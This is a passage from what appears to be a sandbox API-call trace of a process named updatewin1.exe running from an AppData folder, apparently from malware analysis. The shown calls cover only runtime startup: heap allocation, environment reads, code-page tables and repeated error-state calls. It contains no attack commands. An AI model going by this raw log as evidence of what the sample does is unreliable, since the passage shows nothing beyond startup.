0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.647] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.647] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.647] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.647] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.647] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x214) returned 0x1f107d0 [0053.647] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.647] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.647] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.648] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.648] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.648] GetCurrentThreadId () returned 0xb18 [0053.648] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.648] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x800) returned 0x1f109f0 [0053.648] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.648] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.648] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.648] SetHandleCount (uNumber=0x20) returned 0x20 [0053.648] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" " [0053.648] GetEnvironmentStringsW () returned 0x5a4e70* [0053.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0053.648] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x565) returned 0x1f111f8 [0053.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1f111f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0053.648] FreeEnvironmentStringsW (penv=0x5a4e70) returned 1 [0053.648] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] GetACP () returned 0x4e4 [0053.649] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x220) returned 0x1f11768 [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.649] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0053.649] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0053.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.649] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0053.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ") returned 256 [0053.649] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.649] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa2\x66\x9f\xa0\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.649] GetLastError () returned 0x0 [0053.649] SetLastError (dwErrCode=0x0) [0053.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.650] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ") returned 256 [0053.650] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.650] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᠒ꅏ㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0053.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa2\x66\x9f\xa0\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0053.650] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe")) returned 0x5f [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.650] SetLastError (dwErrCode=0x0) [0053.650] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.651] SetLastError (dwErrCode=0x0) [0053.651] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.652] SetLastError (dwErrCode=0x0) [0053.652] GetLastError () returned 0x0 [0053.653] SetLastError 